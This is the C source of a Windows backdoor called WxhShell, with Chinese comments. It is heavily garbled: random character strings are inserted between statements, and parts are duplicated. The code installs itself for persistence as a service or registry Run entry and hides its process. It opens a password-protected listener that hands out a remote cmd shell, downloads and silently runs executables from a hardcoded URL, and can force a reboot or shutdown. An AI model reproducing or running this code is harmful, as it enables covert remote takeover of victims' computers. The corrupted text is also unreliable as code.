yD HANDLE hProcess; bJ9*z~z)e PROCESS_BASIC_INFORMATION pbi; ~z]VDEJ{q liy/uZ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a[z$ae7 if(NULL == hInst ) return 0; IG\Cj7{K^ NX8hFwR g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z Fj |E g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \et2aX ! NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u>vvW|OB[ cX4]ViXSr if (!NtQueryInformationProcess) return 0; :x5O1Zn/t Ahba1\,N$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5D<ZtsXE if(!hProcess) return 0; 4{vEW( ?*
, if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q@PDhISa 3OKs?i3A CloseHandle(hProcess); &%@O V:C '/X]96Ci7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ac*J;fI if(hProcess==NULL) return 0; h<>yzr3fN '|yCDBu HMODULE hMod; dS <*DP char procName[255]; FIVC~LDd unsigned long cbNeeded; 3iX\):4 Q (q&(/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z
zp"CK 5 u^JsKG+,: CloseHandle(hProcess); GP %hf{ [eOv fD if(strstr(procName,"services")) return 1; // 以服务启动 Ok\X%avq 3Z me?o*bY return 0; // 注册表启动 U1lqg?KO } %m[ZU<v Ar,n=obG // 主模块 0WSZhzNyY int StartWxhshell(LPSTR lpCmdLine) /Yg&:@L { gVR]z9 SOCKET wsl; H=f|X<8 BOOL val=TRUE; tk=S4/VWv int port=0; b8YdONdy struct sockaddr_in door; eMFxdtH :lvBcFw if(wscfg.ws_autoins) Install(); U-m MKRV RB% y($ port=atoi(lpCmdLine); 0jjtx'F K5XW&|tY! if(port<=0) port=wscfg.ws_port; \M._x" [>\|QS| WSADATA data; j4#uj[A if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0{8L^
jB/ v0E6i!D/ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !3mt<i]a" setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qdv O>k3 door.sin_family = AF_INET; LfFXYX^ door.sin_addr.s_addr = inet_addr("127.0.0.1"); R(VOHFvW6 door.sin_port = htons(port); SUUN_w~ G\;6n if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6Xm'^T closesocket(wsl); g; ]' return 1; {$yju _[ } &g^*ep~|# 1,bE[_ if(listen(wsl,2) == INVALID_SOCKET) { m}=E$zPbO closesocket(wsl); T>L?\- return 1; .1{{E8Fj } bP#!U'b" = Wxhshell(wsl); 7>F{.\Z WSACleanup(); 8j3Y&m4^ )hj:Xpj9# return 0; s:"Sbml KAFR.h:p9 } Xw!\,"{s OVe0{}
j // 以NT服务方式启动 NzP71t+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]FTi2B{}H { l&qCgw DWORD status = 0; @CL#B98jl DWORD specificError = 0xfffffff; uij^tN% Kmx^\vDs serviceStatus.dwServiceType = SERVICE_WIN32; Y`bTf@EP> serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~S\L(B( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "W(Ae="60 serviceStatus.dwWin32ExitCode = 0; @&O4a2+ serviceStatus.dwServiceSpecificExitCode = 0; g)#{<#*2 serviceStatus.dwCheckPoint = 0; AO|9H`6U6F serviceStatus.dwWaitHint = 0; k<^M >` $ |9c~kTjK hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }\7UU?@ n if (hServiceStatusHandle==0) return; c8JW]A`9b) Q[7 i status = GetLastError(); o"
,8 if (status!=NO_ERROR) &R_7]f+%) { "}fweCBgo serviceStatus.dwCurrentState = SERVICE_STOPPED; ~&73f7 serviceStatus.dwCheckPoint = 0; FHSoj= serviceStatus.dwWaitHint = 0; _f^KP@^j serviceStatus.dwWin32ExitCode = status; &S*~EM.l8 serviceStatus.dwServiceSpecificExitCode = specificError; chE!,gik SetServiceStatus(hServiceStatusHandle, &serviceStatus); =xI'|% return; x^f)I|t } ]zSFX
=~(S vv @m{,7#Y serviceStatus.dwCurrentState = SERVICE_RUNNING; JF 4A serviceStatus.dwCheckPoint = 0; ==5F[UX serviceStatus.dwWaitHint = 0; 2L^)k?9>g+ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !=,4tg` } NFs 5XpZ~ E6A"Xo // 处理NT服务事件,比如:启动、停止 fo@^=-4A- VOID WINAPI NTServiceHandler(DWORD fdwControl) }#O!GG{ { F`nQS&y switch(fdwControl) }6c>BU}DF { GlAI~ \A case SERVICE_CONTROL_STOP: 2ndn8_l serviceStatus.dwWin32ExitCode = 0; 6@J=n@J$p serviceStatus.dwCurrentState = SERVICE_STOPPED; `@h|+`h serviceStatus.dwCheckPoint = 0; 7w/IHM L serviceStatus.dwWaitHint = 0; &[.`xZ(| { v~P,OP("c SetServiceStatus(hServiceStatusHandle, &serviceStatus); jV3PTU } I#M3cI!X? return; DYD<?._I
case SERVICE_CONTROL_PAUSE: `a& kD|Yh serviceStatus.dwCurrentState = SERVICE_PAUSED; \n)',4mY break; R2~Tr$: case SERVICE_CONTROL_CONTINUE: 6Dq4Q|C serviceStatus.dwCurrentState = SERVICE_RUNNING; k&]nF,f break; 86r5!@WN case SERVICE_CONTROL_INTERROGATE: &7aWVKon break; ^/2I)y]W0 }; 6Xlzdt SetServiceStatus(hServiceStatusHandle, &serviceStatus); bmfM_oz } 5AYOM=O]t %z><)7 // 标准应用程序主函数 ]k0
jmE int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S(Yd.Sp { <>cS@V5j :S+K\ // 获取操作系统版本 _IYaMo.n OsIsNt=GetOsVer(); "ZuuSi GetModuleFileName(NULL,ExeFile,MAX_PATH); 0s#72}n d8j1L/e // 从命令行安装 g`7XE if(strpbrk(lpCmdLine,"iI")) Install(); kmI0V[Y Aw o)a8e // 下载执行文件 k_al*iM>H if(wscfg.ws_downexe) { BM%wZ:
s if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1 DWoL}Z WinExec(wscfg.ws_filenam,SW_HIDE); 6OES'3 Cy } wl
Oeoi E$e7(D if(!OsIsNt) { /Rp]"S
vt // 如果时win9x,隐藏进程并且设置为注册表启动 *Gbhk8}V' HideProc(); ^.SYAwL StartWxhshell(lpCmdLine); Y?VbgOM) } NR{wq|" else +]db- if(StartFromService()) 2ej7Ql_@c // 以服务方式启动 t8Zo9q> StartServiceCtrlDispatcher(DispatchTable); uy'ghF else 7io["zW // 普通方式启动 H"Pb)t StartWxhshell(lpCmdLine); GP|=4T}Bf \U~4b_aN return 0; ^4y]7p } [M_{~1xX )s2] -n}W yC,/R371k INZVe(z =========================================== K~x,so 8s%/5v" I$Nh|eM CUA @CZ6{ |m19fg3u p|4qkJK8 " Tt[zSlIMx -+9[X*VCc #include <stdio.h> R;& >PFmq #include <string.h> ?Cq7_rq #include <windows.h> A]1Nm3@ #include <winsock2.h> xS18t=" #include <winsvc.h> q!c(~UVw #include <urlmon.h> *OVB;]D3+ (z?HyxRT #pragma comment (lib, "Ws2_32.lib") \/-c) #pragma comment (lib, "urlmon.lib") }fpya2Xt ]n ?x tI #define MAX_USER 100 // 最大客户端连接数 A=CeeC]} #define BUF_SOCK 200 // sock buffer #F*|@ #define KEY_BUFF 255 // 输入 buffer -!\3;/ ]AP1+
&9fN #define REBOOT 0 // 重启 gjF5~
` #define SHUTDOWN 1 // 关机 yu?5t?vf dWY%bb #define DEF_PORT 5000 // 监听端口 $o"nTl > =>/~dIb #define REG_LEN 16 // 注册表键长度 O9gq <d #define SVC_LEN 80 // NT服务名长度 e4X
df>B :-&|QVH // 从dll定义API ;#B(L=/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4.6$m typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !\]^c typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); urp|@WZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e r"
w{ fBO/0uW // wxhshell配置信息 b`0tfXzS5 struct WSCFG { eK8H5YE int ws_port; // 监听端口 77e*9/6@ char ws_passstr[REG_LEN]; // 口令 H$6RDMU int ws_autoins; // 安装标记, 1=yes 0=no J )1 char ws_regname[REG_LEN]; // 注册表键名 .^YxhUH,G char ws_svcname[REG_LEN]; // 服务名 2:+8]b 3i char ws_svcdisp[SVC_LEN]; // 服务显示名 P-m_], char ws_svcdesc[SVC_LEN]; // 服务描述信息 |%_C$s% char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |5@Ra@0 int ws_downexe; // 下载执行标记, 1=yes 0=no }A9#3Y|F char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :\](m64z; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #86N
!&x D?|D)"?qb }; Z0|5VLk,<{ [X(m[u '% // default Wxhshell configuration o7y<Zd`Bj struct WSCFG wscfg={DEF_PORT, l![M,8 "xuhuanlingzhe", %wD#[<BGn> 1, i4C{3J^ "Wxhshell", 37bMe@W "Wxhshell", j*=!M# D "WxhShell Service", #-az]s|N "Wrsky Windows CmdShell Service", 6#w>6g4V~R "Please Input Your Password: ", W5jwD 1, OqGp|` "http://www.wrsky.com/wxhshell.exe", a[{qb "Wxhshell.exe" OT#@\/> }; w,~*ead z*3b2nV // 消息定义模块 = XZU9df char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tldT(E6
char *msg_ws_prompt="\n\r? for help\n\r#>"; $`pf!b2Z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +in)(a. char *msg_ws_ext="\n\rExit."; '2,~'Zk char *msg_ws_end="\n\rQuit."; B=Hd:P| char *msg_ws_boot="\n\rReboot..."; SX3'|'- char *msg_ws_poff="\n\rShutdown..."; 8)B{x[?| char *msg_ws_down="\n\rSave to "; --HDE c| 8lQ/cGAc char *msg_ws_err="\n\rErr!"; b,~'wm8:A char *msg_ws_ok="\n\rOK!"; B'/U#>/ gI:g/ R char ExeFile[MAX_PATH]; 3=S|U, int nUser = 0; 'r'=%u$1C HANDLE handles[MAX_USER]; g |)>65v int OsIsNt; s/1r{;q +U
fw SERVICE_STATUS serviceStatus; Ff<cY%t SERVICE_STATUS_HANDLE hServiceStatusHandle; ]0i[= b[vE!lJEq // 函数声明 b:1B
> int Install(void); !D22HSv(w int Uninstall(void); 1N/4W6 int DownloadFile(char *sURL, SOCKET wsh); <I,4Kc! int Boot(int flag); ]36SF5<0r
void HideProc(void); ^Ks1[xc* ` int GetOsVer(void); eDd&vf int Wxhshell(SOCKET wsl);
&_)P)L void TalkWithClient(void *cs); }$?FR int CmdShell(SOCKET sock); o!xCM:+J int StartFromService(void); qw+7.h#V int StartWxhshell(LPSTR lpCmdLine);
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DLwlA!z VOID WINAPI NTServiceHandler( DWORD fdwControl ); fb
f&bJT b~;:[ #
// 数据结构和表定义 /X8a3Eqp9 SERVICE_TABLE_ENTRY DispatchTable[] = U<6)CW1; { m?-)SA {wscfg.ws_svcname, NTServiceMain}, sBlq)h;G?6 {NULL, NULL} 3P_.SF }; Ehy(;n)\ BDt$s(
\ // 自我安装 (JU8F-/9 int Install(void) NK-}[!f { nS#F*) char svExeFile[MAX_PATH]; \ZnA%hC HKEY key; +5fB?0D; strcpy(svExeFile,ExeFile); ~#gc{C@ ;apLMMsWC // 如果是win9x系统,修改注册表设为自启动 y9}qB:[bR if(!OsIsNt) { CW;zviH5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H
Qj,0#J) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <v ub
Q4 RegCloseKey(key); u`EK^\R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _9oKW;7f7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <mX5VGY9^ RegCloseKey(key); |A4B4/! return 0; h5{//0 y } -cUW,>E } 28JVW3&) } ln<[CgV8 else { hl[<o<`Q 8y<mHJ[B // 如果是NT以上系统,安装为系统服务 \,v^v]| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zGe =l; if (schSCManager!=0) hz bvR~rn { zt2#K SC_HANDLE schService = CreateService A@M2(?w4 ( WLWfe- schSCManager, l="(Hp%b wscfg.ws_svcname, i~GW wscfg.ws_svcdisp, tzl,r"k3 SERVICE_ALL_ACCESS, *K>2B99TXu SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4FnePi~i SERVICE_AUTO_START, nUY)LnI SERVICE_ERROR_NORMAL, )~P<ruk>,C svExeFile, y**L^uvr NULL, VK9E{~0= NULL, !d0$cF): NULL, y2k's NULL, jHMP"(] NULL K[SzE{5=P ); /3+E-|4s if (schService!=0) qZQm*q(jM { d*!H&1L CloseServiceHandle(schService); @#"K6 CloseServiceHandle(schSCManager); 0o6r3xc; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;8F6a:\v strcat(svExeFile,wscfg.ws_svcname); ;J?fK69% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KW0KXO06a RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7|Qb}[s RegCloseKey(key); vr>J$(F return 0; WnQ'I=E#~ } AED
9vDE } Q#*qPgs CloseServiceHandle(schSCManager); 9<Zm}PE32 } %[,^2s } 1_~'?'&^ VuBi_v6 return 1; N}|1oQkjf } ~9fTs4U G4F~V't // 自我卸载 _qit$#wK; int Uninstall(void) Rlr[uU_ { e mq%"
;. HKEY key; 6yaWxpW ^J?2[( if(!OsIsNt) { a(U/70j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =F*{O= RegDeleteValue(key,wscfg.ws_regname); I#yd/d5^ RegCloseKey(key); lKirc2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ "~uXNd RegDeleteValue(key,wscfg.ws_regname); HV3D$~g F RegCloseKey(key); 51%<N\>/4 return 0; k/xNqN( } ht)KS9Xu } KrECAc } {XS2<!D else { Z*5]qh2r8 /3vj`#jD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YAF0I%PYU if (schSCManager!=0) aG1[85:,\i { 6dCqS SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;UjP0z if (schService!=0) 5.)/gK2$ { -E!V;Tgc%U if(DeleteService(schService)!=0) { )&elr,b/y CloseServiceHandle(schService); YwM;G
g3 CloseServiceHandle(schSCManager); X/wqfP return 0; @l2AL9z$m> } jd DcmR CloseServiceHandle(schService); -Kf'02 } d7QQ5FiB CloseServiceHandle(schSCManager); 785Y*.p } }%-`CJ, } }oTac uRNc9 return 1; -1u N
Z{0 } seH#v *SZ*S%oS3 // 从指定url下载文件 ]+S.#x`# int DownloadFile(char *sURL, SOCKET wsh) tU7eW#"w { Ec]cCLB HRESULT hr; 8:A6Ew&\]O char seps[]= "/"; \oGZM0j char *token; :U;ZBs3 char *file;
`Uw^,r char myURL[MAX_PATH]; ~F]- +| char myFILE[MAX_PATH]; Om2
)$( Zt[1RMO strcpy(myURL,sURL); 4d3PF`,H` token=strtok(myURL,seps); {Z|.-~W while(token!=NULL) N|1k6g=0 { C31SXQ file=token; UkL'h&J~ token=strtok(NULL,seps); `ml;#n,* } T3{qn$t8 #H1yjJQ /x GetCurrentDirectory(MAX_PATH,myFILE); c>3W1" strcat(myFILE, "\\"); Hp":r%) strcat(myFILE, file); B: uW(E
send(wsh,myFILE,strlen(myFILE),0); o0Hh&:6!M send(wsh,"...",3,0); _B|g)Rdv hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r jL%M'; if(hr==S_OK) ?z60b=f8 return 0; ^fb4g+Au else X;p,Wq#D' return 1; )f'cy@b gzHjD-g-< } (F7!&] 8% /^0Hi4+\ // 系统电源模块 ?(U>
)SvF int Boot(int flag) Oy[t}*Ik { G0//P
.# HANDLE hToken; diqG8KaK TOKEN_PRIVILEGES tkp; t L;;Yt q^dI!93n| if(OsIsNt) { /)y~%0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L1"X`Pz[} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,)Z^b$H] tkp.PrivilegeCount = 1; oc-7gz) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bU:"dqRm< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZwF_hm=/[ if(flag==REBOOT) { 2@ACmh if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g >-iBxml return 0; !OWV* v2 } ;][1_ else { **0Y*Ax@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <6n(a)L1 return 0; >&U]j*'4 } rxCuV } Gz~P
0Z^w} else { vM\8>p*U if(flag==REBOOT) { 2J|Yc^b6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oOe5IczS( return 0; bEy j8=P; } Yw+_( 2
9= else { XRj<2U5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }QG6KJh_% return 0; Z:9"7^+ } m[ txKj.=_ } 7=mU["raz` [al$7R& return 1; U4O F{ } \\x``* i6(y Bn // win9x进程隐藏模块 ep,kImT void HideProc(void) [Fr.ik { .azdAq'r&\ nvsuF)%9hZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @y)-!MHN(8 if ( hKernel != NULL ) 0j4bu}@ { AVi
w}Y
J pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qeSxE`E" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nP4jOq*H FreeLibrary(hKernel); RP z0WP } 4 K{4=uU }N*6xr*X+ return; xAQ=oF
+ } p@NE^aMn #U(dleT8 // 获取操作系统版本 VL&E2^*E int GetOsVer(void) L5of(gQ5] { W<u63P OSVERSIONINFO winfo; Q pAK] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k P>G4$e_v GetVersionEx(&winfo); G;qC&7T if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AAxY{Z-4 return 1; VLA9&.*@ else rH$0h2 return 0; QrHI}r } ke2'?,f `\(Fax // 客户端句柄模块 N3TkRJZ int Wxhshell(SOCKET wsl) /
\!hW-+]W {
TfDx>
F$ SOCKET wsh; uqnoE;57^ struct sockaddr_in client; }>6=(! DWORD myID; uw&GXOzew9 S`5^H~ while(nUser<MAX_USER) ~}i&gd|( { `)* int nSize=sizeof(client); \3hhM}6)DM wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H"tS3 3 if(wsh==INVALID_SOCKET) return 1; q<>LK =oV8!d%] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L/1?PM if(handles[nUser]==0) ~2beVQ(U closesocket(wsh); ~Wm`SIV else iKu[j)F nUser++; PnJr } #%il+3J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uB>NwCL; #U{^L{1Gx return 0; $h`?l$jC(@ } p)(mF"\8= {
KE[8n // 关闭 socket vHZw{'5y void CloseIt(SOCKET wsh) cYFR.~p { A=o
p R closesocket(wsh); R|Z $aHQ nUser--; '""qMRCm ExitThread(0); :@I?JSi } h6c8hp. ;``*]tY$ // 客户端请求句柄 yb2*K+Kv void TalkWithClient(void *cs) Ka1
F7b { `zAV# g^26Gb. SOCKET wsh=(SOCKET)cs; 7 6~x|6) char pwd[SVC_LEN]; /ZlW9| char cmd[KEY_BUFF]; pv+FPB char chr[1]; T
{a%:=` int i,j; %f\ M61Z j01.`G7Q while (nUser < MAX_USER) { (pm]U7 ;Z:z'';Lm if(wscfg.ws_passstr) { .r)WDR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W1$B6+}Z0V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^QTl (L //ZeroMemory(pwd,KEY_BUFF); BP6;dF5E i=0; Z`v6DfK} while(i<SVC_LEN) { :!;BOCTYI d~tG#<^` // 设置超时 lb2mWsg" fd_set FdRead; -q[T0^eS struct timeval TimeOut; ;XSRG*3j~4 FD_ZERO(&FdRead); 2f] :n FD_SET(wsh,&FdRead); ,Ej2]iO\7 TimeOut.tv_sec=8; yc8FEn!)& TimeOut.tv_usec=0; ?q1&(g]qO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7=0uG if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I! {AWfp0 ?/9]"HFHN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aCcBmc pwd=chr[0]; w&f8AY)#]4 if(chr[0]==0xd || chr[0]==0xa) { [Tby+pC pwd=0; zLc.4k break; <.CO{L\e } E^zgYkZO i++; 4,tMaQ } PwQW5,,h0 .FK[Y?ci# // 如果是非法用户,关闭 socket 3hab51J if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /p~"?9b[ i } ~mOGNf?f yGT"k,a send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yZ~<!
5.P send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LO[1xE9 v Q[{<|K while(1) { X5U_|XK6Y DQP#h5O ZeroMemory(cmd,KEY_BUFF);
O*d&H;; |Yh-`~~A" // 自动支持客户端 telnet标准 GK)3a 9; j=0; Bwjd/id q while(j<KEY_BUFF) { nM x0+N1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); il<D e]G cmd[j]=chr[0]; 4A^hP![c#] if(chr[0]==0xa || chr[0]==0xd) { sSd cmd[j]=0; $_k'!/5 break; hE\,4c1 } y$r^UjJEO j++; DBAJkBs } #i-!:6sLA 6?Q&>V26Y // 下载文件 ~'dnrhdme if(strstr(cmd,"http://")) {
2_vE send(wsh,msg_ws_down,strlen(msg_ws_down),0); K~<pD:s if(DownloadFile(cmd,wsh)) +cvz send(wsh,msg_ws_err,strlen(msg_ws_err),0); %\_I%
yF else SW(7!` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "8ILV`[ } 2n?\tOm(V else { _Ta9rDSP] I|RN/RVN switch(cmd[0]) { vF;6Y(h> PtO-%I<N // 帮助 Xx:0Nt] case '?': { UYW%%5p? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vxUJ4|Qz break; [4
g5{eX } 6NbIT[LvT // 安装 +6*oO| case 'i': { $8_t.~q if(Install()) fdho`juFa send(wsh,msg_ws_err,strlen(msg_ws_err),0); }CsUZ&* & else c1wgb8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / Zz2=gDY break; T=VVK6Lc: } fTY @{t // 卸载 TmKO/N@} case 'r': { ~Az20RrK) if(Uninstall()) aP8Im1<A send(wsh,msg_ws_err,strlen(msg_ws_err),0); <^R\N# else 9`dQ7z.8t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5ez"B]&T break; ;ZjQy,H% } i.cSD%* // 显示 wxhshell 所在路径 -5p=gO case 'p': { 8f,jC+( char svExeFile[MAX_PATH]; s7FqE>#c0 strcpy(svExeFile,"\n\r"); ;TmwIZ strcat(svExeFile,ExeFile); ?j8CkqX! send(wsh,svExeFile,strlen(svExeFile),0); xw%?R=&L break; 4mshB } v&H&+:< // 重启 {zbH.V[ case 'b': { Rr%]/% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '(2G qX! if(Boot(REBOOT)) @=Ly#HuUM send(wsh,msg_ws_err,strlen(msg_ws_err),0); #A:I|Q 1$g else { KT?vs5jg$& closesocket(wsh); 1(q!.lPc ExitThread(0); Nj#!L~^h, } J'@I!Jc break; jf/;`br } w$Dp m.0( // 关机
(y~da~ case 'd': { 2Q9s?C send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]d$)G4X1 if(Boot(SHUTDOWN)) xBB:b\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'QCvN b6 else { M?}2 closesocket(wsh); N1LR _vS" ExitThread(0); %NeKDE } gkBat(Uc break; +"'h?7'C } ?)]sfJG // 获取shell
HkEp}R case 's': { IH>+P]+3"3 CmdShell(wsh); !o*oT}6n closesocket(wsh); [c>X Q ExitThread(0);
U,Z(h break; _9L2JN$R6 } HO' ELiZ_q // 退出 7F+f6(hB case 'x': { i}HF send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l l&iMj] CloseIt(wsh); *l7
ojv break; PicO3m } nH[@EL // 离开 =FwFqjvl case 'q': { ig?]kZ send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q|pz].0 closesocket(wsh); =q6yb@ WSACleanup(); !_x-aro3< exit(1); W:9L!+m^ break; j5$Sm } B623B HwS } Dhef|E< } Q%t8cJL :=~([oSNW" // 提示信息 }r,k*I'K if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dm4\Rld{ } mg#+%v } {0Leua D, 3x:nK return; s\kkD* } lHP[WO
,Hj=]e2? // shell模块句柄 Gc
SX5c int CmdShell(SOCKET sock) "I+wU`AIek { <PfW STARTUPINFO si; :L\@+}{(c ZeroMemory(&si,sizeof(si)); x>Q#Bvy si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lT$A;7[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1}V_:~7 PROCESS_INFORMATION ProcessInfo; d]a*)m& char cmdline[]="cmd"; M+nz~,![ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l&T;G9z return 0; E@[`y:P } meIY00 ,T1t` // 自身启动模式 %X#Wc:b int StartFromService(void) e#16,a-}o { UHR)]5Lt typedef struct !@*Ac$J>$ { T.&^1q WWA DWORD ExitStatus; v}[7)oj| DWORD PebBaseAddress; \mv7"TM DWORD AffinityMask; hEEbH@b DWORD BasePriority; 'VO^H68 ULONG UniqueProcessId; QEtZ]p1H@ ULONG InheritedFromUniqueProcessId; [g<6i.<I } PROCESS_BASIC_INFORMATION; \Dr@n^hk@[ oYqlN6n,=6 PROCNTQSIP NtQueryInformationProcess; 5N '
QG<jE yNI}=Z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4Jo:^JV static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \_BaV0< L! Q&?xP HANDLE hProcess; Pm;"Y!S< PROCESS_BASIC_INFORMATION pbi; =">O;L.xj -bKli<C HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l} h<2 if(NULL == hInst ) return 0; j7O7P+DmS w9z((\5 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3QGg; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T`f9jD NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6C) G JNk
]$ xz if (!NtQueryInformationProcess) return 0; w,JB`jS)/ V^.~m;ETu] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n_?<q{GW if(!hProcess) return 0; 2<Ub[R wCc:HfmjJ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f'R^MX2 30[?XVI& CloseHandle(hProcess); ,?i#NN5p b6oPnP_3P hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z.VVY\ if(hProcess==NULL) return 0; L suc*Ps 1
!OQxY}f HMODULE hMod; /koNcpJ char procName[255];
